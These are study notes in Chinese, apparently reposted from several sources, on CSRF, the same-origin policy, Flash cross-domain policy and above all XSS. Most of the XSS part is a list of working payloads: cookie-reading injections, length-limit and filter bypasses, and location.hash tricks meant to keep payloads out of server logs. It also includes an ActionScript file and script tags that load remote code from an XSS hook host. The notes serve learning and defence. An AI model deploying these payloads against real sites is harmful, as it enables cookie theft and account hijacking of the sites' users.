下面是 自己学习时的笔记,各种转载~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
漏洞知识库:
CSRF 跨站请求伪造 学习
crossdomain.xml 文件来验证是否允许客户端的flash 跨域发送请求,使用的是白名单的思想
使用 token 足够复杂来防御
同源政策
a.com 通过 <script src=http://b.com/b.js></script> 加载了b.com 的b.js 但是b.js 是运行在a.com 页面的所以对于a.com来说,b.js的源就应该是a.com而非b.com
<script> <img> <iframe> <link> 等标签都可以跨域加载资源而不受同源政策的限制,这些带<src> 属性的标签加载时实际上就是由浏览器发起了一次 GET请求
不同于 XMLHttpRequest 的是,通过src 属性加载的资源,浏览器限制了 JAVASCRIPT的权限,使其不能读写返回的内容
flash 通过目标网站提供的crossdomain.xml文件判断是否允许当前“源”的flash跨域访问目标资源,eg:
当浏览器在任意其他域的页面里加载了FLASH后,如果对www.qq.com发起访问请求,flash会先检查 www.qq.com 上此策略文件是否存在。如果文件存在,则检查发起请求的域是否在许可范围内。
在flash 9及其以后的版本中,还实现了MIME检查以确认crossdomain.xml是否合法,如查看服务器返回的HTTP头等信息,FLASH还会检查 crossdomain.xml是否存在根目录下,使得一些上传文件攻击失效
<cross-domain-policy>
<allow-access-from domainm="*.wooyun.org"/>
<allow-access-from domainm="*.qq.org"/>
</cross-domain-policy>
2 XSS 学习 CROSS SITE SCRIPT
XXS 构造技巧
检测是否出现 <script>alert("xss")</script>
<iframe οnlοad=alert(document.cookie)>
<script>alert("xss");</script>
<img src=x οnerrοr=alert(1)>
xxx<script>alert(/xss/);</script>
javascript:alert(document.cookie);
"><img src="a" οnerrοr="prompt">
<div style="background:url('javascript:alert(1)')">
<img src="some.gif" οnlοad="alert('xss');" />
<img src=x οnerrοr=jQuery.getScript('hook Address') width=0px> (不让图片显示出来)
%c1";alert(/xss/);// 系统转义了" , 接着%c1\ 这两个字符组合在一起后,会成为一个UNICODE字符 从而绕过系统安全检查
工具使用: 市面上的软件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS
PHP获取IP有3个函数
X-Forwarded-For Header(工具)就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR
有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了
Modify Headers(工具)可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP
构造IP 为 <script>alert(1)</script> 可以看一些弹框了
XSS不一定是在input输入框和GET/POST参数修改,才可以插入XSS。还有JavaScript、ActionScript2/3.0、数据包参数
学习突破字数限制
限制20字节类型,<input type=text value="xxx" /> 利用事件输入 " οnclick=alert(1)// 实际为 <input type=text value="" οnclick=alert(1)//">
首先先发一篇标题为:”>/*</script>
再发一篇标题为:"><script>alert(/Jin/)/*
拼凑起来 <script>alert(/XSS/)/*xxxxxx*/</script>
同样的思想,可以在限制字符时,第一个文本框小,第二个文本框大,那么直接在两个文本框之间的html代码全部注释掉,从而”打通“两个<input>
第一个输入 "><!--_(空格) 只有6字节 第二个输入 --><script>alert(/xss/);</script>
可以加载其他可控的安全数据位置的数据,EG:
<div id="x">alert%28document.cookie%29%3B</div>
<limited_xss_point>eval(unescape(x.innerHTML));</limited_xss_point>
如果没有这些数据,就通过在URL的尾部参数构造要执行的代码,然后在XSS点通过document.URL/location.href等方式获得代码数据执行
http://www.xssedsite.com/xssed.php?x=1....&alert(document.cookie)
<limited_xss_point>eval(document.URL.substr(80));</limited_xss_point>
30字节 (上) 或者 31字节 (下)
<limited_xss_point>eval(location.href.substr(80));</limited_xss_point>
或者 29字节 (下)
<limited_xss_point>eval(document.URL.slice(80));</limited_xss_point>
或者 30字节 (下)
<limited_xss_point>eval(location.href.slice(80));</limited_xss_point>
或者更少 说明在下面
<limited_xss_point>eval(location.hash.slice(1));</limited_xss_point>
location.hash 可以用来获取或设置页面的标签值,不会在HTTP包中发送,所以服务器端的WEB日志中并不会记录下 location.hash 里的内容,从而也更好地隐藏了hacker的意图
<input type=text value="xxx" /> 输入40字节 " οnclick="eval(location.hash.substr(1))
得到 <input type=text value="" οnclick="eval(location.hash.substr(1))" />
#是用来指导浏览器动作的,对服务器端完全无用。所以,HTTP请求中不包括#。
因为location.hash 的第一个值 为 # ,所以构造 url 为 www.xxx.com/test.html#alert(xss)
所以这里的 XSS PAYLOAD 是写在 浏览器的地址栏的。可以直接写在url,也可以利用其它平台上文件来写
还有可以关注函数
function loads(url) {
...
document.body.appendChild(script);
}
<limited_xss_point>loads(http://xxx.com/x);</limited_xss_point>
其他了解
<base> 是个非常危险的标签,如果在页面上插入了它,那么就可以在远程主机上伪造图片,链接或者脚本了(从标签指定的网址上取得到).
window.name 可以实现跨域传输,那么构造
window.name = "alert(document.cookie)";
location.href = "http://www.xxx.com/xss.php" 只需通过XSS执行 eval(name); 只有11字节
flash XSS ,Action script 是一种非常强大和灵活的脚本,甚至可以使用它发起网络连接,因此应该尽可能地禁止用户能够上传加载自定义的FLASH文件
看embed 的 allowscriptaccess 参数 是否开启
<embed> 标签定义嵌入的内容,比如插件。 <embed src="http://xxx.com/evil.swf"> </embed>
用 flex builder 编译 as 生产swf然后去执行JS代码,编译修改名为 xxx.as
package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class XXX extends Sprite
{
public function XXX()
{
if(flash.external.ExternalInterface.available){
flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://xxx.com/xxx.js';document.body.appendChild(s);})()");
}
}
}
}
然后可以先上传上去,然后
<embed src="刚才复制的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="刚才复制的FLASH文件地址"></img>
发现地方 处写上 57字节
</textarea>'"><script src=http://xssan.com/9AM3zw?1410919704></script>
即